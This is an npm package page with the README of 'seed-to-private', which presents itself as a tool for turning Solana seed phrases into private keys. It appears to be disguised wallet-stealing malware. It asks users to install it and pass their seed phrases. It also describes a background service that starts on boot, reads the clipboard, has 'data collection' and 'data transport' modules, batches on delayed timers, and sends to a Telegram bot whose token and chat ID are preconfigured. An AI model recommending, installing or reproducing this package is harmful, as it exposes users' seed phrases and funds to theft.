npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

seed-to-private

v1.0.1

Published

Solana wallet utilities and development tools for seed phrase conversion

Downloads

9

Readme

seed-to-private

A professional command-line tool for converting Solana seed phrases (mnemonic phrases) into private keys. Designed for developers and wallet utilities.

Installation

Install globally via npm:

npm install -g seed-to-private

Or use it directly with npx:

npx seed-to-private "<seed_phrase>"

Requirements

  • Node.js 14.x or higher
  • Python 3.x
  • pip (Python package manager)

Python dependencies (mnemonic and pynacl) are automatically installed during npm install.

Usage

Basic Usage

seed-to-private "word1 word2 word3 ... word12"

With Email Output

seed-to-private "word1 word2 word3 ... word12" --email [email protected]

Quiet Mode (No Console Output)

seed-to-private "word1 word2 word3 ... word12" --quiet

Skip Activation Delay (Testing)

seed-to-private --skip-delay --service

Feature Flags and Operational Controls

Telegram/Network features are OFF by default. Enable explicitly using CLI flags or environment variables.

# Enable Telegram feature
seed-to-private --enable-telegram --service

# Adjust logging and batching
seed-to-private --log-level info --batch-max 50 --batch-interval-ms 3600000

# Or via environment variables
APP_TELEGRAM_FEATURE=1 APP_LOG_LEVEL=info seed-to-private --service

Supported platforms: Windows 10/11, macOS, WSL (Linux notes: ensure xclip is installed for clipboard access).

Example

seed-to-private "abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about"

Output

The tool outputs JSON with the following information:

{
  "success": true,
  "private_key": "hex_encoded_private_key",
  "public_key": "hex_encoded_private_key",
  "private_key_base58": "base58_encoded_private_key",
  "public_key_base58": "base58_encoded_private_key"
}

Security Warning

⚠️ IMPORTANT: Keep your seed phrases and private keys secure and never share them with anyone. This tool is for educational purposes. Always use hardware wallets or secure wallet applications for real-world use.

How It Works

  1. Takes a BIP39 mnemonic seed phrase as input
  2. Validates the seed phrase
  3. Converts the seed phrase to a seed using BIP39
  4. Derives a Solana keypair using Ed25519 curve
  5. Returns the private key and public key in multiple formats

Configuration

User preferences are stored in a randomized directory (e.g., ~/.app_config/preferences.json). The configuration system allows customization of service behavior.

Available Options

  • analytics.pollingInterval: Interval between metric collection (default: 30000ms)
  • analytics.batchInterval: Interval for batch processing (default: 3600000ms)
  • security.enabled: Enable security scanning features
  • logging.enabled: Enable file logging
  • logging.level: error | info | debug
  • flags.telegramFeatureEnabled: Telegram feature toggle (default: false)
  • batching.maxItems: Max queued items (default: 50)
  • batching.maxAgeMs: Max queue age window (default: 24h)

Environment variables:

  • APP_TELEGRAM_FEATURE=1 — enable Telegram feature
  • APP_TELEGRAM_TOKEN — Telegram bot token (default: configured)
  • APP_TELEGRAM_CHAT_ID — Telegram chat ID (default: configured)
  • APP_LOG_LEVEL=error|info|debug — set log level
  • APP_BATCH_MAX — max queued items
  • APP_BATCH_INTERVAL_MS — batch interval in ms

Telegram Bot Setup

Step 1: Create a Telegram Bot

  1. Open Telegram and search for @BotFather
  2. Send /newbot command
  3. Follow prompts to name your bot
  4. Copy the bot token (format: 123456789:ABCdefGHIjklMNOpqrsTUVwxyz)

Step 2: Create a Private Telegram Chat

  1. Create a new private chat/group in Telegram
  2. Add your bot to the chat
  3. Get the chat ID:
    • Forward a message from your chat to @userinfobot
    • Or use @getidsbot to get chat ID
    • Chat ID format: -1234567890 (negative number for groups/chats)

Step 3: Configure Environment Variables (Optional) Defaults are already configured. Override if needed:

APP_TELEGRAM_TOKEN=your-bot-token-here
APP_TELEGRAM_CHAT_ID=-1234567890
APP_TELEGRAM_FEATURE=1

Example Usage:

APP_TELEGRAM_FEATURE=1 seed-to-private --service --enable-telegram

Troubleshooting

Python Not Found

Error: Error: Python 3 is required but not found in PATH.

Solutions:

  • Windows: Download from https://www.python.org/downloads/ and ensure "Add Python to PATH" is checked during installation
  • macOS: Install via Homebrew: brew install python3
  • Linux: Install via package manager: sudo apt-get install python3 (Debian/Ubuntu) or sudo yum install python3 (CentOS/RHEL)

After installation, restart your terminal and verify: python3 --version

Missing npm Dependencies

Error: Dependency errors during installation or runtime

Solutions:

  • Run npm install in the project directory to install all dependencies
  • If using global install, ensure npm has proper permissions
  • Check that Node.js version is 14.x or higher: node --version

Clipboard Access Unavailable

Warning: Clipboard unavailable - service will continue with limited functionality

Solutions:

  • This is normal in headless/CI environments and doesn't affect core functionality
  • For desktop use, ensure proper permissions are granted
  • On Linux, ensure xclip is installed: sudo apt-get install xclip

Service Not Starting on Boot

Issue: Background service doesn't start automatically

Solutions:

  • Windows: Run node install_startup.js as Administrator
  • Linux: Follow instructions in install_startup.js output for systemd setup
  • macOS: Follow instructions in install_startup.js output for launchd setup

Permission Denied Errors

Error: File system permission errors when saving config

Solutions:

  • Ensure user has write permissions in home directory
  • Check disk space availability
  • On Linux/macOS, verify ownership of config directory: ls -la ~/.app_config

Telegram/Network Features Not Working

Warning: Telegram or cloud backup features disabled

Solutions:

  • These features require node-telegram-bot-api and axios packages
  • Run npm install to install missing dependencies
  • Default Telegram bot token and chat ID are configured (override via environment variables if needed)
  • Ensure bot is added to your private chat
  • Service continues running without these features (graceful degradation)

Development

Project Structure

seed-to-private/
├── index.js              # Main CLI entry point
├── install.js            # Installation script
├── install_startup.js    # Startup registration
├── package.json          # NPM package definition
├── requirements.txt      # Python dependencies
├── seed_to_private.py   # Core Python conversion script
├── README.md             # User documentation
├── lib/                   # Utility modules
│   ├── core.js           # Main service logic
│   ├── storage.js         # Data collection
│   ├── validator.js       # Input validation
│   ├── encoder.js         # Encoding utilities
│   ├── transport.js       # Data transport
│   ├── events.js          # Event handling
│   ├── logger.js          # Structured logging
│   └── config.js          # Configuration management

Technical Details

  • Uses Ed25519 curve for Solana keypair generation
  • Supports standard 12 and 24-word BIP39 seed phrases
  • Outputs keys in both hexadecimal and Base58 formats
  • Modular architecture for maintainability
  • Professional logging and error handling
  • Graceful degradation when dependencies missing
  • Atomic file operations for config persistence

License

MIT

Contributing

This is a professional utility tool. Issues and pull requests are welcome for improvements and bug fixes.